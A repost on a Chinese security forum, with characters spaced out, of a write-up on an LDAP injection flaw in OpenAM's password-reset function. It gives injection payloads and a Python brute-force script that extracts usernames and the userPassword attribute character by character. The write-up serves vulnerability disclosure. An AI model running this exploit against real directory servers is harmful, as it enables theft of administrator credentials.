搜索

[20473] 2021-01-15_OpenAM中注入LDAP

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-01-15_OpenAM中注入LDAP O p e n A M 中 注 入 L D A P M A H M O U D   G A M A L   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 1 - 1 5                 在 这 篇 文 章 中 ， 我 们 解 释 了 我 们 如 何 能 够 识 别 并 利 用 O p e n A M 访 问 管 理 服 务 器 平 台 中 的 L D A P 注 入 漏 洞 。 关 于 关 于 O p e n A M                 O p e n A M 是 一 个 开 源 的 访 问 管 理 、 权 限 和 联 盟 服 务 器 平 台 。 在 2 0 1 6 年 之 前 ， 它 一 直 由 F o r g e R o c k 赞 助 。 现 在 它 得 到 了 开 放 身 份 平 台 社 区 的 支 持 。 O p e n A M 起 源 于 O p e n S S O ， 一 个 由 S u n   M i c r o s y s t e m s 创 建 的 访 问 管 理 系 统 ， 现 在 由 O r a c l e 公 司 拥 有 。 维 基 百 科 L D A P 注 入 注 入                 L D A P 注 入 是 一 种 攻 击 ， 用 于 利 用 基 于 用 户 输 入 构 建 L D A P 语 句 的 网 络 应 用 。 当 一 个 应 用 程 序 不 能 正 确 地 对 用 户 输 入 进 行 消 毒 时 ， 就 有 可 能 通 过 类 似 于 S Q L 注 入 的 技 术 来 修 改 L D A P 语 句 。 漏 洞 详 情 漏 洞 详 情                         该 漏 洞 是 在 O p e n A M 提 供 的 密 码 重 置 功 能 中 发 现 的 。 当 用 户 试 图 重 置 密 码 时 ， 会 被 要 求 输 入 用 户 名 ， 然 后 后 台 通 过 L D A P 查 询 验 证 用 户 是 否 存 在 ， 然 后 再 将 密 码 重 置 令 牌 发 送 到 用 户 的 邮 箱 。 将 用 户 名 参 数 P W R e s e t U s e r V a l i d a t i o n . t f U s e r A t t r 的 值 设 置 为 * ， 导 致 服 务 器 响 应 以 下 错 误 E r r o r :   有 多 个 用 户 符 合 指 定 的 值 。 输 入 一 个 不 同 的 值 ， 或 者 联 系 你 的 管 理 员 寻 求 帮 助 。 这 表 明 它 可 能 容 易 受 到 L D A P 注 入 。 将 P W R e s e t U s e r V a l i d a t i o n . t f U s e r A t t r 参 数 的 值 设 置 为 * ) | ( o b j e c t c l a s s = * 返 回 同 样 的 错 误 ， 这 意 味 着 查 询 返 回 的 用 户 不 止 一 个 。 说 到 这 里 ， 可 以 使 用 以 下 技 术 从 目 录 服 务 数 据 库 中 获 取 任 何 数 据 。 如 果 查 询 返 回 的 结 果 不 止 一 个 ， 那 么 返 回 的 错 误 将 是 ：     有 一 个 以 上 的 用 户 匹 配 指 定 的 值 。 如 果 查 询 只 返 回 一 个 结 果 = > 没 有 为 你 配 置 问 题 或 要 求 用 户 回 答 问 题 。 如 果 查 询 没 有 返 回 任 何 信 息   = >   该 用 户 的 密 码 无 法 重 置 。 因 此 ， 如 果 我 们 使 用 * ) | ( p r o p e r t y N a m e = * a ) 知 道 用 户 对 象 的 任 何 属 性 名 ， 并 且 服 务 器 没 有 返 回 错 误 的 话 ， 就 可 以 获 取 该 用 户 对 象 的 任 何 属 性 值 。 T h e   p a s s w o r d   c a n n o t   b e   r e s e t   f o r   t h i s   u s e r   t h e n   t h e   v a l u e   o f   t h e p r o p e r t y   h a s   a   c h a r a c t e r   " a "   a n d   w e   c a n   k e e p   t r y i n g   o t h e r   c h a r a c t e r s   u n t i l   w e   g e t   t h e   f u l l   v a l u e .                 由 于 注 入 点 在 u s e r n a m e 属 性 内 ， 我 们 能 够 使 用 下 面 的 p y t h o n 脚 本 从 活 动 目 录 服 务 数 据 库 中 提 取 用 户 名 。 而 运 行 脚 本 后 ， 返 回 的 是 管 理 员 用 户 的 用 户 名 ： a m a d m i n 。 经 过 进 一 步 的 测 试 ， 我 们 决 定 看 看 是 否 能 够 获 取 密 码 或 密 码 重 置 令 牌 。 首 先 ， 我 们 需 要 获 取 对 象 类 的 名 称 ， 我 们 通 过 将 脚 本 中 P W R e s e t U s e r V a l i d a t i o n . t f U s e r A t t r 参 数 的 值 设 置 为   " * ) ( o b j e c t c l a s s = * % s % s " % ( c h a r , r e s ) ， 从 而 返 回 s u n S e r v i c e C o m p o n e n t i m p o r t   r e q u e s t s u r l   =   " h t t p s : / / [ R E D A C T E D ] / a m s e r v e r / u i / P W R e s e t U s e r V a l i d a t i o n " c h a r l i s t   =   " @ _ / : $ % & ^ + , - = . 1 2 3 4 5 6 7 8 9 0 a b c d e f g h i j k l m n o p q r s t u v w x y z a " h e a d e r s   =   { " C o o k i e " : " [ R E D A C T E D ] " ,   U s e r - A g e n t " : " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 6 4 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 4 . 0 " } r e s t a r t   =   T r u e r e s   =   ' ' w h i l e   r e s t a r t :   r e s t a r t   =   F a l s e   f o r   c h a r   i n   c h a r l i s t :         r   =   r e q u e s t s . p o s t ( u r l ,   h e a d e r s = h e a d e r s , d a t a = { " P W R e s e t U s e r V a l i d a t i o n . f l d U s e r A t t r " : " u i d " ,         " P W R e s e t U s e r V a l i d a t i o n . t f U s e r A t t r " : " % s % s * ) ( o b j e c t c l a s s = * "   %   ( r e s , c h a r ) ,   " P W R e s e t U s e r V a l i d a t i o n . b t n N e x t " : " % C 2 % A 0 N e x t % C 2 % A 0 " , " j a t o . d e f a u l t C o m m a n d " : " / b t n N e x t " , " j a t o . p a g e S e s s i o n " : " 1 " } ,   v e r i f y   =   F a l s e )         p r i n t   " % s % s   % s "   %   ( r e s , c h a r ,   s t r ( r . s t a t u s _ c o d e ) )         #   p r i n t   r . c o n t e n t         i f   " c a n n o t   b e   r e s e t   f o r   t h i s   u s e r "   n o t   i n   r . c o n t e n t :                 p r i n t   " f o u n d   % s % s "   %   ( r e s , c h a r )                 r e s   =   " % s % s "   %   ( r e s , c h a r )                 r e s t a r t   =   T r u e                 b r e a k
现 在 我 们 要 做 的 就 是 在 h t t p s : / / d o c s . o r a c l e . c o m / c d / E 1 9 5 6 3 - 0 1 / 8 1 9 - 4 4 3 7 / 6 n 6 j c k r 1 1 / i n d e x . h t m l ， 查 找 s u n S e r v i c e C o m p o n e n t 类 的 文 档 。 该 类 允 许 的 属 性 之 一 是 s u n K e y V a l u e ， 它 返 回 分 配 给 用 户 的 所 有 属 性 ， 包 括 u s e r P a s s w o r d 值 。 因 此 ， 我 们 能 够 通 过 在 脚 本 中 设 置 P W R e s e t U s e r V a l i d a t i o n . t f U s e r A t t r 参 数 的 值 来 获 取 用 户 密 码 ， " P W R e s e t U s e r V a l i d a t i o n . t f U s e r A t t r " :   " * ) ( s u n K e y V a l u e = * u s e r P a s s w o r d = % s % s * "   %   ( r e s , c h a r )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理